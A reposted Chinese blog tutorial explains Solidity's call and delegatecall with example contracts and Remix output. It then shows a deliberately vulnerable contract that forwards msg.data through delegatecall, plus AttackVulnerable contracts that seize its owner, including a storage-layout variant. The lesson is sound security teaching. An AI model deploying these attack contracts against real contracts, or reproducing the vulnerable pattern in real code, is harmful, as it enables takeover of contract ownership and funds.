solidity call和delegatecall的那些事儿

这篇具有很好参考价值的文章主要介绍了solidity call和delegatecall的那些事儿。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

基本概念

call的用处

call是solidity中合约之间交互的一个底层调用,但官方建议该方法仅在发送以太坊时使用,合约接受转账必须定义receive或payable fallback(当调用合约中不存在的方法时,该方法被默认调用),而不建议用call来调用合约中存在的方法。关于receive和fallback的区别见下面示例合约Caller的remoteCall方法,更详细的说明可参考这里。

call的调用示例

下面来演示以太坊的发送及合约方法的调用。注:为了方便调用本方的示例中使用的hardhat的console.sol合约来打印日志信息。

示例合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract Callee {
    fallback() external payable {
        console.log("In fallback Ether", msg.sender, msg.value);
    }

    receive() external payable {
        console.log("In Receive Ether", msg.sender, msg.value);
    }

    function foo(string memory _message, uint256 _x)
        public
        view
        returns (uint256)
    {
        console.log("foo invoking", msg.sender, _message);
        return _x + 1;
    }
}

contract Caller {
    constructor() payable{

    }
    function remoteCall(address instance) public payable {
        //触发fallback调用
        (bool sucess, ) = instance.call{value: 200}(abi.encodeWithSignature('nonExistingFunction()'));
        require(sucess, "call error");

        // //触发receive调用
        (bool sucess2, ) = instance.call{value: 200}('');
        require(sucess2, "call error");

        //调用foo
        (bool sucess3, ) = instance.call(abi.encodeWithSignature('foo(string,uint256)', 'hello foo', 100));
        require(sucess3, "call error");
    }
}

合约间调用

  • 用js脚本调用触发合约调用
const hre = require('hardhat');
async function main () {

  let Callee = await hre.ethers.getContractFactory("Callee");
  let Caller = await hre.ethers.getContractFactory("Caller");
  let callee = await Callee.deploy();
  //由于remoteCall方法向其它合约转以太坊,因此该合约部署时需要转入
  let caller = await Caller.deploy({value:10000});
  await caller.remoteCall(callee.address);
}

main()
  .then(() => process.exit(0))
  .catch(error => {
    console.error(error);
    process.exit(1);
  });
  • 执行结果solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3
    注: 当使用npx hardhat run <script>时,hardhat框架会向JS脚本默认引入hardhat环境变量,因此脚本中可以不定义hre变量。此处显示的引入hardhat环境变量(const hre = require(‘hardhat’);),以便脚本可以像普通JS脚本一样运行(node <script>)。

hardhat官方说明如下:

We require the Hardhat Runtime Environment explicitly here. This is optional but useful for running the script in a standalone fashion through node <script>.
You can also run a script with npx hardhat run <script>. If you do that, Hardhat will compile your contracts, add the Hardhat Runtime Environment’s members to the global scope, and execute the script.

Remix调用

  • 向合约转账300wei,且calldata不为空(fallback被调用):
    solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3
  • 向合约转账300wei,且calldata为空(receive被调用):
    solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3
  • 方法调用
    solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3

call调用注意事项

使用call调用其它合约的方法时务必要检查其执行结果,如上例Caller合约中remoteCall中call方法的调用。

//触发fallback调用
(bool sucess, ) = instance.call{value: 200}(abi.encodeWithSignature('nonExistingFunction()'));
require(sucess, "call error");

虽然call在某些情况下可能是一个有用的工具,但通常不鼓励在调用其他契约中的现有函数时使用它。 原因如下:

  • Revert不能沿调用栈向上冒泡

当使用 call 调用函数时,在被调用函数内发生的任何Revert都不会冒泡到调用合约中。这意味着调用合约将不知道Revert的产生,并可能继续错误地执行。

  • 类型检查被忽视

Solidity提供了一个类型系统,确保数据的完整性和安全性。然而,当使用 call 时,会绕过函数参数的类型检查。如果没有正确处理输入类型,这可能会导致潜在的漏洞。

  • 函数是否存在的检查被遗漏

通过使用call来调用函数,您可以绕过Solidity执行的自动存在性检查。如果函数不存在或已重命名,则调用将触发回退函数,从而可能导致意想不到的行为。

call vs delegatecall

call和delegatecall都是用于合约间交互的低级函数,区别在于两者的执行上下文,前者的上下文是被调用的合约,而后者的上下文是发起调用的合约。说起来比较抽象,我们来举例说明:

示例说明

call调用的执行上下文

solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3如图所示当合约A以call的形式调用合约B中的方法时,被调用方法(B中的方法)的执行上下文在合约B中。见图中address(this)合约地址的值。

  • 测试合约源码如下:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
import "hardhat/console.sol";
contract A {
    constructor() {
        console.log("Contract A's address:", address(this));
    }

    function remoteCall(address instance) public {
        (bool sucess, ) = instance.call(abi.encodeWithSignature("myAddress()"));
        require(sucess, "call error");
    }
}

contract B {
    constructor() {
        console.log("Contract B's address:", address(this));
    }

    function myAddress() public view {
        console.log("In contract B's myAddress", address(this));
    }
}

示例中合约A调用合约B的myAddress方法,而该方法只是简单的打印执行上下文合约的地址。由于A是以call的形式调用B的方法,依据我们前面所述myAddress方法的执行上下文是合约B,因此该方法输出的应该是合约B的地址,我们在Remix中依次部署合约A、B并调用A中的remoteCall。

  • 在Remix中执行结果:

solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3

delegatecall调用的执行上下文

solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3

只需要将示例中的call调用改为delegatecall,以delegatecall方式调用时,依据我们前面所述myAddress方法的执行上下文是合约A,因此方法myAddress中打印的应该是合约A的地址。

  • 合约A代码修改如下:
function remoteCall(address instance) public {
        (bool sucess, ) = instance.delegatecall(abi.encodeWithSignature("myAddress()"));
        require(sucess, "call error");
    }
  • 在Remix中执行结果如下:

solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3

delegatecall漏洞

solidity的特性

delegatecall调用之所以容易引发漏洞,与solidity如下两个特性有关

  1. 合约调用时执行上下文在发起调用的合约;
  2. 调用方与被调用方状态变量的布局要一致;

漏洞示例

我们还是通过示例来深入探索。

  • 存在漏洞的合约代码
contract Vulnerable {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Lib {
    address public owner;

    function setowner() public {
        owner = msg.sender;
    }
}

上述合约比较容易理解,合约Vulnerable 部署时需要传入已经部署的Lib合约地址,Vulnerable合约中fallback以delegatecall的形式调用合约Lib中的方法(调用方法由调用者通过msg.data指定)。此处Lib合约中只有一个方法setOwner用于修改owner值。

  • 攻击代码
    下面我们通过代码来修改上述漏洞合约的所有者。
contract AttackVulnerable {
    address public vulnerable;

    constructor(address _vulnerable) {
        vulnerable = _vulnerable;
    }

    function attack() public {
        vulnerable.call(abi.encodeWithSignature("setowner()"));
    }
}

攻击者部署AttackVulnerable 合约时传入Vulnerable 合约的地址,并在部署完成后调用自身的attack方法即可修改Vulnerable 合约的owner值。

  • 攻击过程及原理
  1. 部署AttackVulnerable 合约时传入Vulnerable 地址,将其状态变量设置为Vulnerable 合约的址;
  2. 调用AttackVulnerable 的attack方法,该方法调用了Vulnerable 合约的setowner方法,由于Vulnerable 合约中并不存在该方法,因而其fallback被触发;
  3. fallback方法中以delegatecall的形式调用合约Lib中msg.data方法,而此处msg.data的值为abi.encodeWithSignature("setowner()"),因而Lib中的setowner方法被调用;
  4. 合约Lib中的setowner方法用于将合约中的owner修改为msg.sender的值,此处msg.sender为攻击者地址;
  5. 由于Vulnerable 合约中fallback中执行的是delegatecall调用,所以步骤4中setowner的执行上下文为Vulnerable 合约,因此其修改的为Vulnerable 合约中owner的值,至此合约Vulnerable 的拥有都变成了攻击者;

注: 步骤5中Vulnerable 的owner被修改是由solidity的特性(调用方与被调用方状态变量布局必须一致)决定的。

  • 执行结果
    solidity call和delegatecall的那些事儿,区块链,区块链,node.js,后端,web3
    注: 此处Vulnerable 的owner被设置成了攻击合约AttackVulnerable 的合约地址,这是因为测试在Remix执行,调用直接由AttackVulnerable 合约发起。我们可以通过脚本的形式调用AttackVulnerable合约的attack方法将Vulnerable 的owner设置为攻击者指定的任何地址。

扩展

下面的合约的漏洞比较隐蔽,读者可以根据上述的讨论方法,自己分析。

contract Lib {
    uint public num;

    function performOperation(uint _num) public {
        num = _num;
    }
}

contract Vulnerable {
    address public lib;
    address public owner;
    uint public num;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function performOperation(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("performOperation(uint256)", _num));
    }
}

//攻击者
contract AttackVulnerable {

    address public lib;
    address public owner;
    uint public num;

    Vulnerable public vulnerable;

    constructor(Vulnerable _vulnerable) {
        vulnerable = Vulnerable(_vulnerable);
    }

    function attack() public {
        vulnerable.performOperation(uint(address(this)));
        vulnerable.performOperation(9);
    }

    // function signature must match Vulnerable.performOperation()
    function performOperation(uint _num) public {
        owner = msg.sender;
    }
}

结语

合约安全注意事项

上面我们提到delegatecall的漏洞与solidity的两个特性有关。为了写出更安全的合约,solidity提供了Library关键字,被Library字义的合约必须是无状态的(合约内不能存在状态变量)。这就规避了在外部合约中修改状态变量的操作。在我们实践过程中我们写共用功能合约时尽量定义为Library。

call与delegatecall总结

call和delegatcall之间的区别很微妙,为了有效和安全地使用它们,理解它们是很重要的。通过理解执行上下文以及call和delegatcall之间的差异,您可以在Solidity中编写更有效,模块化和安全的智能合约。

参考:
https://medium.com/0xmantle/solidity-series-part-3-call-vs-delegatecall-8113b3c76855
https://celo.academy/t/preventing-vulnerabilities-in-solidity-delegate-call/38
https://docs.soliditylang.org/en/v0.6.2/contracts.html#receive-ether-function文章来源地址https://www.toymoban.com/news/detail-768536.html

到了这里,关于solidity call和delegatecall的那些事儿的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Node.js | JavaScript也能写后端?

    本文已收录于专栏 ⭐️ 《深入浅出Node.js》⭐️ 语雀前端知识沉淀 如果读者是一个前端开发的同学,不知道你有没有过这样的烦恼: 想做一个全栈的项目,但苦于不懂像 PHP、Python 或 Ruby 等动态编程语言。 如果专门学习的话,又觉得学习成本太大,不学的话服务端项目没办

    2024年02月01日
    浏览(48)
  • [apue] 进程控制那些事儿

    在介绍进程的创建、启动与终止之前,首先了解一下进程的唯一标识——进程 ID,它是一个非负整数,在系统范围内唯一,不过这种唯一是相对的,当一个进程消亡后,它的 ID 可能被重用。不过大多数 Unix 系统实现延迟重用算法,防止将新进程误认为是使用同一 ID 的某个已

    2024年04月08日
    浏览(47)
  • 账号安全那些事儿

    随着《网络安全法》正式成为法律法规,等级保护系列政策更新,“安全” 对于大部分企业来说已成为“强制项”。然而,网络空间安全形势日趋复杂和严峻。账号安全,也在不断的威胁着企业核心数据安全。 根据最新的 IBM 全球威胁调查报告《X-Force威胁情报指数2020》,受

    2024年01月21日
    浏览(50)
  • 【C++11那些事儿(一)】

    在2003年C++标准委员会曾经提交了一份技术勘误表(简称TC1),使得C++03这个名字已经取代了C++98称为C++11之前的最新C++标准名称。不过由于TC1主要是对C++98标准中的漏洞进行修复,语言的核心部分则没有改动,因此人们习惯性的把两个标准合并称为C++98/03标准。从C++0x到C++11,C++标

    2023年04月14日
    浏览(36)
  • HTTP的那些事儿

    超文本传输协议(Hyper Text Transfer Protocol,HTTP),它是 在计算机世界中的两个点之间传递文本,图片,多媒体等超文本文件的协议 。HTTP处在 数据链路层,网络层,传输层,应用层 中的应用层,基于TCP之上。 应用广泛,各大网站,APP都离不开HTTP的身影 无状态,和TCP不同,

    2023年04月15日
    浏览(51)
  • Redis那些事儿(一)

            说到redis大家都不陌生,其中包括:共有16个数据库,默认为第0个数据库;数据以key-value键值的形式存储;数据类型包括String、List、Hash、Set等,其中最常用的是字符串;是单线程的、基于内存的,主要受内存和网络带宽的影响… 这些都是基于Redis的基础理论知识

    2024年02月05日
    浏览(53)
  • [apue] 进程环境那些事儿

    众所周知,main 函数为 unix like 系统上可执行文件的\\\"入口\\\",然而这个入口并不是指链接器设置的程序起始地址,后者通常是一个启动例程,它从内核取得命令行参数和环境变量值后,为调用 main 函数做好安排。main 函数原型为: 这是 ISO C 和 POSIX.1 指义的,当然还存在下面几种

    2024年02月11日
    浏览(45)
  • 关于BGP安全那些事儿

    文| 宙斯盾DDoS防护团队 Rocky 导语 美国时间10月4日中午,Facebook公司网络出现重大故障,故障持续了6个小时后才恢复。官方给出的故障原因,简单来说是一次误操作引发了连锁反应。 (复杂点就是:在例行网络维护中,发送的一条命令无意中关闭了其全球骨干网的所有BGP连

    2023年04月08日
    浏览(46)
  • Redis那些事儿(三)

            接着上一篇Redis那些事儿(二) ,这一篇主要介绍Redis基于Geo数据结构实现的地理服务,它提供了一种方便的方式来存储和处理与地理位置相关的数据。Geo数据结构是Redis的一种特殊数据类型,用于存储地理位置信息,每个地理位置被表示为经度和纬度的坐标,可

    2024年02月05日
    浏览(57)
  • 面试的那些事儿

    假如你是网申,你的简历必然会经过HR的筛选,一张简历HR可能也就花费10秒钟看一下,然后HR 就会决定你这一关是Fail还是Pass。 假如你是内推,如果你的简历没有什么优势的话,就算是内推你的人再用心,也无能为力。 另外,就算你通过了筛选,后面的面试中,面试官也会根

    2024年01月18日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包